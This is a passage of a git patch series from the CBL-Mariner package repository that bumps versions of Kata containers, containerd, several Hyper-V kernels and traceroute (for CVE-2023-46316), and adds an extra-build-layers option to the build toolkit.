"8cb47fa74e2419849db97891d15e3baa85564d75ce809ff6fdd3e42614d242f4", - "kata-containers-cc-0.6.1-cargo.tar.gz": "8fc62d814019d7a09f61a5c8593978b6f74c5b3f0e35054a46714d4471553ded", + "kata-containers-cc-0.6.2.tar.gz": "527a9e0064ba250e5355c03556ff60769a818aeec44481f77305d1fa115341b1", + "kata-containers-cc-0.6.2-cargo.tar.gz": "f43974d6f8305067d8dfd55edb3841fb8e7f1929405b9c4696b046b02c15bd76", "mariner-coco-build-uvm.sh" :"2c1ef256c294c702ba2feab118644c81a2c6c85d0085fa8d205e3ce1a0b5c82d" } } diff --git a/SPECS/kata-containers-cc/kata-containers-cc.spec b/SPECS/kata-containers-cc/kata-containers-cc.spec index 353ddfcadf6..9e31a09f4c2 100644 --- a/SPECS/kata-containers-cc/kata-containers-cc.spec +++ b/SPECS/kata-containers-cc/kata-containers-cc.spec @@ -7,8 +7,8 @@ %global debug_package %{nil} Name: kata-containers-cc -Version: 0.6.1 -Release: 4%{?dist} +Version: 0.6.2 +Release: 1%{?dist} Summary: Kata Confidential Containers License: ASL 2.0 Vendor: Microsoft Corporation @@ -17,9 +17,7 @@ Source0: https://github.com/microsoft/kata-containers/archive/refs/tags/cc- Source1: https://github.com/microsoft/kata-containers/archive/refs/tags/%{name}-%{version}.tar.gz Source2: %{name}-%{version}-cargo.tar.gz Source3: mariner-coco-build-uvm.sh -Patch0: 0001-tardev-snapshotter-enable-feature-impl_trait_in_asso.patch -Patch1: drop-mut-for-variables-that-are-not-mutated.patch -Patch2: keep-uvm-rootfs-dependencies.patch +Patch0: keep-uvm-rootfs-dependencies.patch ExclusiveArch: x86_64 @@ -291,6 +289,9 @@ install -D -m 0755 %{_builddir}/%{name}-%{version}/tools/osbuilder/image-builder %exclude %{osbuilder}/tools/osbuilder/rootfs-builder/ubuntu %changelog +* Fri Nov 3 2023 Dallas Delaney 0.6.2-1 +- Upgrade to version 0.6.2 + * Fri Nov 3 2023 Dallas Delaney - 0.6.1-4 - Add patch to retain UVM rootfs dependencies diff --git a/cgmanifest.json b/cgmanifest.json index 57d785d103a..126871e897c 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -8041,8 +8041,8 @@ "type": "other", "other": { "name": "kata-containers-cc", - "version": "0.6.1", - "downloadUrl": "https://github.com/microsoft/kata-containers/archive/refs/tags/cc-0.6.1.tar.gz" + "version": "0.6.2", + "downloadUrl": "https://github.com/microsoft/kata-containers/archive/refs/tags/cc-0.6.2.tar.gz" } } }, @@ -30867,4 +30867,4 @@ } ], "Version": 1 -} \ No newline at end of file +} From ee94c2b4a2b67bdfd0aa88c64ea242a47a481bba Mon Sep 17 00:00:00 2001 From: Saul Paredes <30801614+Redent0r@users.noreply.github.com> Date: Wed, 8 Nov 2023 10:10:27 -0800 Subject: [PATCH 17/34] Upgrade moby-containerd-cc to 1.7.2 (#6428) --- .../moby-containerd-cc.signatures.json | 2 +- .../moby-containerd-cc.spec | 25 +++++++++++-------- cgmanifest.json | 4 +-- 3 files changed, 17 insertions(+), 14 deletions(-) diff --git a/SPECS/moby-containerd-cc/moby-containerd-cc.signatures.json b/SPECS/moby-containerd-cc/moby-containerd-cc.signatures.json index 632e0b0c043..a83d8619de8 100644 --- a/SPECS/moby-containerd-cc/moby-containerd-cc.signatures.json +++ b/SPECS/moby-containerd-cc/moby-containerd-cc.signatures.json @@ -2,6 +2,6 @@ "Signatures": { "containerd.service": "b7908653ff8298fc8c1c21854a6e338f40c607ec40d177269615a8f3448c5153", "containerd.toml": "a228a28965a30845c10bae150fb5bc60a07f5bc0f78d5b17bfaa6cf48a47a7ca", - "moby-containerd-cc-1.7.1.tar.gz": "f8969a4e03d42f49a7788d2021f38861f34c9136829a2906fcbd9a0bf79c8f96" + "moby-containerd-cc-1.7.2.tar.gz": "fda5b47bc8bd905149d64544ba1ff4d7be0ba03f05049d6a910f893cd0933113" } } diff --git a/SPECS/moby-containerd-cc/moby-containerd-cc.spec b/SPECS/moby-containerd-cc/moby-containerd-cc.spec index ac633dd9488..09a833e04d9 100644 --- a/SPECS/moby-containerd-cc/moby-containerd-cc.spec +++ b/SPECS/moby-containerd-cc/moby-containerd-cc.spec @@ -1,12 +1,12 @@ %global debug_package %{nil} %define upstream_name containerd-cc %define upstream_repo confidential-containers-containerd -%define commit_hash 4a2809f776500dfb8e4ed33db7f4e05ed68edfbf +%define commit_hash e55e17bb9c75834c863d422bc38b54b0056e467a Summary: Industry-standard container runtime for confidential containers Name: moby-%{upstream_name} -Version: 1.7.1 -Release: 6%{?dist} +Version: 1.7.2 +Release: 1%{?dist} License: ASL 2.0 Group: Tools/Container URL: https://www.containerd.io @@ -77,6 +77,9 @@ fi %config(noreplace) %{_sysconfdir}/containerd/config.toml %changelog +* Fri Nov 08 2023 Saul Paredes - 1.7.2-1 +- Always add TargetLayerDigestLabel label to snapshots + * Mon Oct 16 2023 CBL-Mariner Servicing Account - 1.7.1-6 - Bump release to rebuild with go 1.20.10 @@ -92,13 +95,13 @@ fi * Thu Jun 15 2023 CBL-Mariner Servicing Account - 1.7.1-2 - Bump release to rebuild with go 1.19.10 -* Mon May 22 2023 Dallas Delaney - 1.7.1-1 -- Fix unit test arguments for TestSnapshotterFromPodSandboxConfig +* Mon May 22 2023 Dallas Delaney - 1.7.1-1 +- Fix unit test arguments for TestSnapshotterFromPodSandboxConfig -* Wed May 17 2023 Dallas Delaney - 1.7.0-2 -- Add build version dependency on golang +* Wed May 17 2023 Dallas Delaney - 1.7.0-2 +- Add build version dependency on golang -* Tue Apr 25 2023 Dallas Delaney - 1.7.0-1 -- Add initial spec -- License verified. -- Original version for CBL-Mariner +* Tue Apr 25 2023 Dallas Delaney - 1.7.0-1 +- Add initial spec +- License verified. +- Original version for CBL-Mariner diff --git a/cgmanifest.json b/cgmanifest.json index 126871e897c..43b8c6f0c1f 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -13373,8 +13373,8 @@ "type": "other", "other": { "name": "moby-containerd-cc", - "version": "1.7.1", - "downloadUrl": "https://github.com/microsoft/confidential-containers-containerd/archive/refs/tags/1.7.1.tar.gz" + "version": "1.7.2", + "downloadUrl": "https://github.com/microsoft/confidential-containers-containerd/archive/refs/tags/1.7.2.tar.gz" } } }, From 477311bca6e1f3a28d47666fce970ca1fdabd178 Mon Sep 17 00:00:00 2001 From: Dallas Delaney <106280731+dallasd1@users.noreply.github.com> Date: Wed, 8 Nov 2023 11:02:30 -0800 Subject: [PATCH 18/34] Upgrade kernel-mshv, kernel-uvm, kernel-uvm-cvm (#6676) --- SPECS/kernel-mshv/config | 2 +- SPECS/kernel-mshv/kernel-mshv.signatures.json | 6 +++--- SPECS/kernel-mshv/kernel-mshv.spec | 5 ++++- SPECS/kernel-uvm-cvm/config | 2 +- SPECS/kernel-uvm-cvm/kernel-uvm-cvm.signatures.json | 4 ++-- SPECS/kernel-uvm-cvm/kernel-uvm-cvm.spec | 7 +++++-- SPECS/kernel-uvm/config | 2 +- SPECS/kernel-uvm/kernel-uvm.signatures.json | 4 ++-- SPECS/kernel-uvm/kernel-uvm.spec | 7 +++++-- cgmanifest.json | 12 ++++++------ 10 files changed, 30 insertions(+), 21 deletions(-) diff --git a/SPECS/kernel-mshv/config b/SPECS/kernel-mshv/config index 02fb048559d..05a8d42aa11 100644 --- a/SPECS/kernel-mshv/config +++ b/SPECS/kernel-mshv/config @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86_64 5.15.126.mshv3 Kernel Configuration +# Linux/x86_64 5.15.126.mshv9 Kernel Configuration # CONFIG_CC_VERSION_TEXT="gcc (GCC) 11.2.0" CONFIG_CC_IS_GCC=y diff --git a/SPECS/kernel-mshv/kernel-mshv.signatures.json b/SPECS/kernel-mshv/kernel-mshv.signatures.json index fe6a6231900..deff3dd75d8 100644 --- a/SPECS/kernel-mshv/kernel-mshv.signatures.json +++ b/SPECS/kernel-mshv/kernel-mshv.signatures.json @@ -1,8 +1,8 @@ { "Signatures": { - "kernel-mshv-5.15.126.mshv3.tar.gz": "a4a19caadbcb6c367bbc8d92338bbf6843f5e0fbd411f0ff0ba7650d44505e87", + "kernel-mshv-5.15.126.mshv9.tar.gz": "3ed864ec26340e02b95696784f870eee53ad1e0ba1f30bd9545704bb45a5a2f2", "50_mariner_mshv.cfg": "0a5fcad1efb1fd37f910f675c5303210a2aeeef9e089d804510ce40ff9b26369", "cbl-mariner-ca-20211013.pem": "5ef124b0924cb1047c111a0ecff1ae11e6ad7cac8d1d9b40f98f99334121f0b0", - "config": "bbdc5e2c5506e2a272a15b82541ea258c4dcc6c25db4a2120d09675a43e96528" + "config": "b266255bd7dfef022aabb578cf928f3435025562a723a95fab6c2ee62acd00ea" } -} \ No newline at end of file +} diff --git a/SPECS/kernel-mshv/kernel-mshv.spec b/SPECS/kernel-mshv/kernel-mshv.spec index 548a280ace3..c8e623d5a1b 100644 --- a/SPECS/kernel-mshv/kernel-mshv.spec +++ b/SPECS/kernel-mshv/kernel-mshv.spec @@ -10,7 +10,7 @@ Summary: Mariner kernel that has MSHV Host support Name: kernel-mshv -Version: 5.15.126.mshv3 +Version: 5.15.126.mshv9 Release: 1%{?dist} License: GPLv2 Group: Development/Tools @@ -247,6 +247,9 @@ ln -sf linux-%{uname_r}.cfg /boot/mariner-mshv.cfg %{_includedir}/perf/perf_dlfilter.h %changelog +* Mon Nov 6 2023 Dallas Delaney - 5.15.126.mshv9-1 +- Update to v5.15.126.mshv9 + * Thu Sep 21 2023 Saul Paredes - 5.15.126.mshv3-1 - Update to v5.15.126.mshv3 diff --git a/SPECS/kernel-uvm-cvm/config b/SPECS/kernel-uvm-cvm/config index 45b400e273c..fdb95b855a8 100644 --- a/SPECS/kernel-uvm-cvm/config +++ b/SPECS/kernel-uvm-cvm/config @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86_64 6.1.0.mshv11 Kernel Configuration +# Linux/x86_64 6.1.0.mshv14 Kernel Configuration # CONFIG_CC_VERSION_TEXT="gcc (GCC) 11.2.0" CONFIG_CC_IS_GCC=y diff --git a/SPECS/kernel-uvm-cvm/kernel-uvm-cvm.signatures.json b/SPECS/kernel-uvm-cvm/kernel-uvm-cvm.signatures.json index 2970cd0ccc7..de06955a2e4 100644 --- a/SPECS/kernel-uvm-cvm/kernel-uvm-cvm.signatures.json +++ b/SPECS/kernel-uvm-cvm/kernel-uvm-cvm.signatures.json @@ -1,6 +1,6 @@ { "Signatures": { - "config": "254cad89b22b3fef5a2833a13b1a0176a052c56eab9793705e4e44fb32610ad2", - "kernel-uvm-6.1.0.mshv11.tar.gz": "11ab6d4082a1d7c73fc5abc71faf0d2507bb5e7b18100f5636d476748bf0520d" + "config": "ace6a335b36f8d919414b898fa3f1c84ff05c49e41a9c64cd46c9a00506eb3dd", + "kernel-uvm-6.1.0.mshv14.tar.gz": "e4ab8637a532fd731b5c2aa2edfb719bbff8c9870282af0794c15c90b0c52097" } } diff --git a/SPECS/kernel-uvm-cvm/kernel-uvm-cvm.spec b/SPECS/kernel-uvm-cvm/kernel-uvm-cvm.spec index 767b425f77e..f9a1d4f2592 100644 --- a/SPECS/kernel-uvm-cvm/kernel-uvm-cvm.spec +++ b/SPECS/kernel-uvm-cvm/kernel-uvm-cvm.spec @@ -10,8 +10,8 @@ Summary: Linux Kernel for SEV SNP enabled Kata UVMs Name: kernel-uvm-cvm -Version: 6.1.0.mshv11 -Release: 2%{?dist} +Version: 6.1.0.mshv14 +Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation Distribution: Mariner @@ -153,6 +153,9 @@ find %{buildroot}/lib/modules -name '*.ko' -exec chmod u+x {} + %{_prefix}/src/linux-headers-%{uname_r} %changelog +* Mon Nov 6 2023 Dallas Delaney - 6.1.0.mshv14-1 +- Update to v6.1.0.mshv14 + * Fri Oct 06 2023 Manuel Huber - 6.1.0.mshv11-2 - Enable dm-crypt and dm-integrity for encfs sidecar functionality diff --git a/SPECS/kernel-uvm/config b/SPECS/kernel-uvm/config index 45b400e273c..fdb95b855a8 100644 --- a/SPECS/kernel-uvm/config +++ b/SPECS/kernel-uvm/config @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86_64 6.1.0.mshv11 Kernel Configuration +# Linux/x86_64 6.1.0.mshv14 Kernel Configuration # CONFIG_CC_VERSION_TEXT="gcc (GCC) 11.2.0" CONFIG_CC_IS_GCC=y diff --git a/SPECS/kernel-uvm/kernel-uvm.signatures.json b/SPECS/kernel-uvm/kernel-uvm.signatures.json index 5f877e585de..fb845913ab6 100644 --- a/SPECS/kernel-uvm/kernel-uvm.signatures.json +++ b/SPECS/kernel-uvm/kernel-uvm.signatures.json @@ -1,6 +1,6 @@ { "Signatures": { - "config": "254cad89b22b3fef5a2833a13b1a0176a052c56eab9793705e4e44fb32610ad2", - "kernel-uvm-6.1.0.mshv11.tar.gz": "11ab6d4082a1d7c73fc5abc71faf0d2507bb5e7b18100f5636d476748bf0520d" + "config": "ace6a335b36f8d919414b898fa3f1c84ff05c49e41a9c64cd46c9a00506eb3dd", + "kernel-uvm-6.1.0.mshv14.tar.gz": "e4ab8637a532fd731b5c2aa2edfb719bbff8c9870282af0794c15c90b0c52097" } } diff --git a/SPECS/kernel-uvm/kernel-uvm.spec b/SPECS/kernel-uvm/kernel-uvm.spec index 0127e716af5..75ce17ae25d 100644 --- a/SPECS/kernel-uvm/kernel-uvm.spec +++ b/SPECS/kernel-uvm/kernel-uvm.spec @@ -10,8 +10,8 @@ Summary: Linux Kernel for Kata UVM Name: kernel-uvm -Version: 6.1.0.mshv11 -Release: 2%{?dist} +Version: 6.1.0.mshv14 +Release: 1%{?dist} License: GPLv2 Vendor: Microsoft Corporation Distribution: Mariner @@ -153,6 +153,9 @@ find %{buildroot}/lib/modules -name '*.ko' -exec chmod u+x {} + %{_prefix}/src/linux-headers-%{uname_r} %changelog +* Mon Nov 6 2023 Dallas Delaney - 6.1.0.mshv14-1 +- Update to v6.1.0.mshv14 + * Fri Oct 06 2023 Manuel Huber - 6.1.0.mshv11-2 - Enable dm-crypt and dm-integrity for encfs sidecar functionality diff --git a/cgmanifest.json b/cgmanifest.json index 43b8c6f0c1f..e23d905d434 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -8151,8 +8151,8 @@ "type": "other", "other": { "name": "kernel-mshv", - "version": "5.15.126.mshv3", - "downloadUrl": "https://cblmarinerstorage.blob.core.windows.net/sources/core/kernel-mshv-5.15.126.mshv3.tar.gz" + "version": "5.15.126.mshv9", + "downloadUrl": "https://cblmarinerstorage.blob.core.windows.net/sources/core/kernel-mshv-5.15.126.mshv9.tar.gz" } } }, @@ -8171,8 +8171,8 @@ "type": "other", "other": { "name": "kernel-uvm", - "version": "6.1.0.mshv11", - "downloadUrl": "https://cblmarinerstorage.blob.core.windows.net/sources/core/kernel-uvm-6.1.0.mshv11.tar.gz" + "version": "6.1.0.mshv14", + "downloadUrl": "https://cblmarinerstorage.blob.core.windows.net/sources/core/kernel-uvm-6.1.0.mshv14.tar.gz" } } }, @@ -8181,8 +8181,8 @@ "type": "other", "other": { "name": "kernel-uvm-cvm", - "version": "6.1.0.mshv11", - "downloadUrl": "https://cblmarinerstorage.blob.core.windows.net/sources/core/kernel-uvm-6.1.0.mshv11.tar.gz" + "version": "6.1.0.mshv14", + "downloadUrl": "https://cblmarinerstorage.blob.core.windows.net/sources/core/kernel-uvm-6.1.0.mshv14.tar.gz" } } }, From 44e68231e2bad29f9ad8fe8a73de95a7e2dd485e Mon Sep 17 00:00:00 2001 From: CBL-Mariner-Bot <75509084+CBL-Mariner-Bot@users.noreply.github.com> Date: Wed, 8 Nov 2023 14:32:11 -0800 Subject: [PATCH 19/34] [AUTO-CHERRYPICK] Patched CVE-2023-46316 for `traceroute` - branch main. (#6701) Co-authored-by: Sumynwa --- SPECS/traceroute/traceroute.signatures.json | 2 +- SPECS/traceroute/traceroute.spec | 31 +++++++++++---------- cgmanifest.json | 4 +-- 3 files changed, 20 insertions(+), 17 deletions(-) diff --git a/SPECS/traceroute/traceroute.signatures.json b/SPECS/traceroute/traceroute.signatures.json index 8209b93a701..ce2ab335755 100644 --- a/SPECS/traceroute/traceroute.signatures.json +++ b/SPECS/traceroute/traceroute.signatures.json @@ -1,5 +1,5 @@ { "Signatures": { - "traceroute-2.1.0.tar.gz": "3669d22a34d3f38ed50caba18cd525ba55c5c00d5465f2d20d7472e5d81603b6" + "traceroute-2.1.3.tar.gz": "05ebc7aba28a9100f9bbae54ceecbf75c82ccf46bdfce8b5d64806459a7e0412" } } \ No newline at end of file diff --git a/SPECS/traceroute/traceroute.spec b/SPECS/traceroute/traceroute.spec index f1ecf3ad153..87356d19737 100644 --- a/SPECS/traceroute/traceroute.spec +++ b/SPECS/traceroute/traceroute.spec @@ -1,29 +1,25 @@ -Name: traceroute Summary: Traces the route taken by packets over an IPv4/IPv6 network -Version: 2.1.0 -Release: 7%{?dist} +Name: traceroute +Version: 2.1.3 +Release: 1%{?dist} License: GPLv2+ -Group: Applications/Internet -Url: http://traceroute.sourceforge.net -Source0: http://downloads.sourceforge.net/project/traceroute/traceroute/traceroute-%{version}/traceroute-%{version}.tar.gz Vendor: Microsoft Corporation Distribution: Mariner - +Group: Applications/Internet +URL: https://traceroute.sourceforge.net +Source0: http://downloads.sourceforge.net/project/traceroute/traceroute/traceroute-%{version}/traceroute-%{version}.tar.gz %description The traceroute utility displays the route used by IP packets on their way to a specified network (or Internet) host. %prep -%setup -q - +%autosetup -p1 %build make %{?_smp_mflags} CFLAGS="%{optflags}" LDFLAGS="" %install -rm -rf %{buildroot} - install -d %{buildroot}/bin install -m755 traceroute/traceroute %{buildroot}/bin pushd %{buildroot}/bin @@ -33,7 +29,7 @@ install -d %{buildroot}%{_bindir} install -m755 wrappers/tcptraceroute %{buildroot}%{_bindir} install -d %{buildroot}%{_mandir}/man8 -install -p -m644 traceroute/traceroute.8 $RPM_BUILD_ROOT%{_mandir}/man8 +install -p -m644 traceroute/traceroute.8 %{buildroot}%{_mandir}/man8 pushd %{buildroot}%{_mandir}/man8 ln -s traceroute.8 tcptraceroute.8 popd @@ -41,13 +37,15 @@ popd %files %defattr(-,root,root,-) %license COPYING -%doc COPYING README TODO CREDITS +%doc README TODO CREDITS /bin/* %{_bindir}/* %{_mandir}/*/* - %changelog +* Mon Nov 06 2023 Sumedh Sharma - 2.1.3-1 +- Bump version to fix CVE-2023-46316 + * Wed Sep 20 2023 Jon Slobodzian - 2.1.0-7 - Recompile with stack-protection fixed gcc version (CVE-2023-4039) @@ -60,13 +58,18 @@ popd * Tue Sep 03 2019 Mateusz Malisz 2.1.0-4 - Initial CBL-Mariner import from Photon (license: Apache2). + * Fri Nov 30 2018 Ashwin H 2.1.0-3 - Remove traceroute6 softlink as iputils provides traceroute6 + * Tue Apr 25 2017 Priyesh Padmavilasom 2.1.0-2 - Ensure non empty debuginfo + * Tue Mar 28 2017 Xiaolin Li 2.1.0-1 - Updated to version 2.1.0. + * Tue May 24 2016 Priyesh Padmavilasom 2.0.22-2 - GA - Bump release of all rpms + * Fri Feb 26 2016 Anish Swaminathan 2.0.22-1 - Initial version diff --git a/cgmanifest.json b/cgmanifest.json index e23d905d434..3fda79c91e4 100644 --- a/cgmanifest.json +++ b/cgmanifest.json @@ -28827,8 +28827,8 @@ "type": "other", "other": { "name": "traceroute", - "version": "2.1.0", - "downloadUrl": "http://downloads.sourceforge.net/project/traceroute/traceroute/traceroute-2.1.0/traceroute-2.1.0.tar.gz" + "version": "2.1.3", + "downloadUrl": "http://downloads.sourceforge.net/project/traceroute/traceroute/traceroute-2.1.3/traceroute-2.1.3.tar.gz" } } }, From 294f6810b76ce2138f92f7f5bc817d50a528ee09 Mon Sep 17 00:00:00 2001 From: Daniel McIlvaney Date: Wed, 8 Nov 2023 14:33:47 -0800 Subject: [PATCH 20/34] Support N+1 goal nodes for scheduler (#5798) Co-authored-by: Pawel Winogrodzki --- toolkit/Makefile | 1 + toolkit/docs/building/building.md | 2 +- toolkit/scripts/pkggen.mk | 6 +- toolkit/scripts/toolchain.mk | 2 +- toolkit/scripts/utils.mk | 4 +- .../tools/graphpkgfetcher/graphpkgfetcher.go | 7 +- .../repocloner/rpmrepocloner/rpmrepocloner.go | 1 + toolkit/tools/internal/pkggraph/pkggraph.go | 102 +++++++++ .../tools/internal/pkggraph/pkggraph_test.go | 204 +++++++++++++++--- toolkit/tools/scheduler/scheduler.go | 17 +- .../schedulerutils/initializegraph.go | 10 +- 11 files changed, 304 insertions(+), 52 deletions(-) diff --git a/toolkit/Makefile b/toolkit/Makefile index 0b2e8093650..ebb1f446701 100644 --- a/toolkit/Makefile +++ b/toolkit/Makefile @@ -55,6 +55,7 @@ INITRD_CACHE_SUMMARY ?= PACKAGE_ARCHIVE ?= PACKAGE_BUILD_RETRIES ?= 1 CHECK_BUILD_RETRIES ?= 1 +EXTRA_BUILD_LAYERS ?= 0 REFRESH_WORKER_CHROOT ?= y # Set to 0 to use the number of logical CPUs. CONCURRENT_PACKAGE_BUILDS ?= 0 diff --git a/toolkit/docs/building/building.md b/toolkit/docs/building/building.md index 1e4a00838cd..6865ece8df1 100644 --- a/toolkit/docs/building/building.md +++ b/toolkit/docs/building/building.md @@ -819,12 +819,12 @@ To reproduce an ISO build, run the same make invocation as before, but set: | PACKAGE_BUILD_RETRIES | 1 | Number of build retries for each package | CHECK_BUILD_RETRIES | 1 | Minimum number of check section retries for each package if RUN_CHECK=y and tests fail. | MAX_CASCADING_REBUILDS | | When a package rebuilds, how many additional layers of dependent packages will be forced to rebuild (leave unset for unbounded, i.e., all downstream packages will rebuild) +| EXTRA_BUILD_LAYERS | 0 | How many additional layers of the build graph to build beyond the requested packages (useful for testing changes in dependent packages) | IMAGE_TAG | (empty) | Text appended to a resulting image name - empty by default. Does not apply to the initrd. The text will be prepended with a hyphen. | CONCURRENT_PACKAGE_BUILDS | 0 | The maximum number of concurrent package builds that are allowed at once. If set to 0 this defaults to the number of logical CPUs. | CLEANUP_PACKAGE_BUILDS | y | Cleanup a package build's working directory when it finishes. Note that `build` directory will still be removed on a successful package build even when this is turned off. | USE_PACKAGE_BUILD_CACHE | y | Skip building a package if it and its dependencies are already built. | NUM_OF_ANALYTICS_RESULTS | 10 | The number of entries to print when using the `graphanalytics` tool. If set to 0 this will print all available results. -| REBUILD_DEP_CHAINS | y | Rebuild packages if their dependencies need to be built, even though the package has already been built. | TARGET_ARCH | | The architecture of the machine that will run the package binaries. | USE_CCACHE | n | Use ccache automatically to speed up repeat package builds. | MAX_CPU | | Max number of CPUs used for package building. Use 0 for unlimited. Overrides `%_smp_ncpus_max` macro. diff --git a/toolkit/scripts/pkggen.mk b/toolkit/scripts/pkggen.mk index 9ae1b230a2d..f06dd99da91 100644 --- a/toolkit/scripts/pkggen.mk +++ b/toolkit/scripts/pkggen.mk @@ -195,7 +195,7 @@ ifeq ($(PRECACHE),y) $(cached_file): $(STATUS_FLAGS_DIR)/precache.flag endif -$(cached_file): $(graph_file) $(go-graphpkgfetcher) $(chroot_worker) $(pkggen_local_repo) $(depend_REPO_LIST) $(REPO_LIST) $(cached_remote_rpms) $(TOOLCHAIN_MANIFEST) $(toolchain_rpms) +$(cached_file): $(graph_file) $(go-graphpkgfetcher) $(chroot_worker) $(pkggen_local_repo) $(depend_REPO_LIST) $(REPO_LIST) $(cached_remote_rpms) $(TOOLCHAIN_MANIFEST) $(toolchain_rpms) $(depend_EXTRA_BUILD_LAYERS) mkdir -p $(remote_rpms_cache_dir) && \ $(go-graphpkgfetcher) \ --input=$(graph_file) \ @@ -205,6 +205,7 @@ $(cached_file): $(graph_file) $(go-graphpkgfetcher) $(chroot_worker) $(pkggen_lo --tmp-dir=$(cache_working_dir) \ --tdnf-worker=$(chroot_worker) \ --toolchain-manifest=$(TOOLCHAIN_MANIFEST) \ + --extra-layers="$(EXTRA_BUILD_LAYERS)" \ --tls-cert=$(TLS_CERT) \ --tls-key=$(TLS_KEY) \ $(foreach repo, $(pkggen_local_repo) $(graphpkgfetcher_cloned_repo) $(REPO_LIST),--repo-file=$(repo) ) \ @@ -265,7 +266,7 @@ $(RPMS_DIR): @touch $@ endif -$(STATUS_FLAGS_DIR)/build-rpms.flag: $(no_repo_acl) $(preprocessed_file) $(chroot_worker) $(go-scheduler) $(go-pkgworker) $(depend_STOP_ON_PKG_FAIL) $(CONFIG_FILE) $(depend_CONFIG_FILE) $(depend_PACKAGE_BUILD_LIST) $(depend_PACKAGE_REBUILD_LIST) $(depend_PACKAGE_IGNORE_LIST) $(depend_MAX_CASCADING_REBUILDS) $(depend_TEST_RUN_LIST) $(depend_TEST_RERUN_LIST) $(depend_TEST_IGNORE_LIST) $(pkggen_rpms) $(srpms) $(BUILD_SRPMS_DIR) +$(STATUS_FLAGS_DIR)/build-rpms.flag: $(no_repo_acl) $(preprocessed_file) $(chroot_worker) $(go-scheduler) $(go-pkgworker) $(depend_STOP_ON_PKG_FAIL) $(CONFIG_FILE) $(depend_CONFIG_FILE) $(depend_PACKAGE_BUILD_LIST) $(depend_PACKAGE_REBUILD_LIST) $(depend_PACKAGE_IGNORE_LIST) $(depend_MAX_CASCADING_REBUILDS) $(depend_TEST_RUN_LIST) $(depend_TEST_RERUN_LIST) $(depend_TEST_IGNORE_LIST) $(pkggen_rpms) $(srpms) $(BUILD_SRPMS_DIR) $(depend_EXTRA_BUILD_LAYERS) $(go-scheduler) \ --input="$(preprocessed_file)" \ --output="$(built_file)" \ @@ -286,6 +287,7 @@ $(STATUS_FLAGS_DIR)/build-rpms.flag: $(no_repo_acl) $(preprocessed_file) $(chroo --build-attempts="$(PACKAGE_BUILD_RETRIES)" \ --check-attempts="$(CHECK_BUILD_RETRIES)" \ $(if $(MAX_CASCADING_REBUILDS),--max-cascading-rebuilds="$(MAX_CASCADING_REBUILDS)") \ + --extra-layers="$(EXTRA_BUILD_LAYERS)" \ --build-agent="chroot-agent" \ --build-agent-program="$(go-pkgworker)" \ --ignored-packages="$(PACKAGE_IGNORE_LIST)" \ diff --git a/toolkit/scripts/toolchain.mk b/toolkit/scripts/toolchain.mk index 6a69bc2147c..15b6c8e7ab8 100644 --- a/toolkit/scripts/toolchain.mk +++ b/toolkit/scripts/toolchain.mk @@ -27,7 +27,7 @@ toolchain_expected_contents = $(toolchain_build_dir)/expected_archive_contents.t raw_toolchain = $(toolchain_build_dir)/toolchain_from_container.tar.gz final_toolchain = $(toolchain_build_dir)/toolchain_built_rpms_all.tar.gz toolchain_files = \ - $(call shell_real_build_only, find $(SCRIPTS_DIR)/toolchain -name *.sh) \ + $(call shell_real_build_only, find $(SCRIPTS_DIR)/toolchain -name '*.sh') \ $(SCRIPTS_DIR)/toolchain/container/Dockerfile TOOLCHAIN_MANIFEST ?= $(TOOLCHAIN_MANIFESTS_DIR)/toolchain_$(build_arch).txt diff --git a/toolkit/scripts/utils.mk b/toolkit/scripts/utils.mk index ff2f930aae9..057cd4dcb0a 100644 --- a/toolkit/scripts/utils.mk +++ b/toolkit/scripts/utils.mk @@ -55,9 +55,9 @@ endef ######## VARIABLE DEPENDENCY TRACKING ######## # List of variables to watch for changes. -watch_vars=PACKAGE_BUILD_LIST PACKAGE_REBUILD_LIST PACKAGE_IGNORE_LIST REPO_LIST CONFIG_FILE STOP_ON_PKG_FAIL TOOLCHAIN_ARCHIVE REBUILD_TOOLCHAIN SRPM_PACK_LIST SPECS_DIR MAX_CASCADING_REBUILDS RUN_CHECK TEST_RUN_LIST TEST_RERUN_LIST TEST_IGNORE_LIST +watch_vars=PACKAGE_BUILD_LIST PACKAGE_REBUILD_LIST PACKAGE_IGNORE_LIST REPO_LIST CONFIG_FILE STOP_ON_PKG_FAIL TOOLCHAIN_ARCHIVE REBUILD_TOOLCHAIN SRPM_PACK_LIST SPECS_DIR MAX_CASCADING_REBUILDS RUN_CHECK TEST_RUN_LIST TEST_RERUN_LIST TEST_IGNORE_LIST EXTRA_BUILD_LAYERS # Current list: $(depend_PACKAGE_BUILD_LIST) $(depend_PACKAGE_REBUILD_LIST) $(depend_PACKAGE_IGNORE_LIST) $(depend_REPO_LIST) $(depend_CONFIG_FILE) $(depend_STOP_ON_PKG_FAIL) -# $(depend_TOOLCHAIN_ARCHIVE) $(depend_REBUILD_TOOLCHAIN) $(depend_SRPM_PACK_LIST) $(depend_SPECS_DIR) $(depend_MAX_CASCADING_REBUILDS) $(depend_RUN_CHECK) $(depend_TEST_RUN_LIST) +# $(depend_TOOLCHAIN_ARCHIVE) $(depend_REBUILD_TOOLCHAIN) $(depend_SRPM_PACK_LIST) $(depend_SPECS_DIR) $(depend_EXTRA_BUILD_LAYERS) $(depend_MAX_CASCADING_REBUILDS) $(depend_RUN_CHECK) $(depend_TEST_RUN_LIST) # $(depend_TEST_RERUN_LIST) $(depend_TEST_IGNORE_LIST) .PHONY: variable_depends_on_phony clean-variable_depends_on_phony setfacl_always_run_phony diff --git a/toolkit/tools/graphpkgfetcher/graphpkgfetcher.go b/toolkit/tools/graphpkgfetcher/graphpkgfetcher.go index 36664541417..f079259c40c 100644 --- a/toolkit/tools/graphpkgfetcher/graphpkgfetcher.go +++ b/toolkit/tools/graphpkgfetcher/graphpkgfetcher.go @@ -25,6 +25,10 @@ import ( "gopkg.in/alecthomas/kingpin.v2" ) +const ( + defaultExtraLayers = "0" +) + var ( app = kingpin.New("graphpkgfetcher", "A tool to download a unresolved packages in a graph into a given directory.") @@ -54,6 +58,7 @@ var ( pkgsToIgnore = app.Flag("ignored-packages", "Space separated list of specs ignoring rebuilds if their dependencies have been updated. Will still build if all of the spec's RPMs have not been built.").String() pkgsToBuild 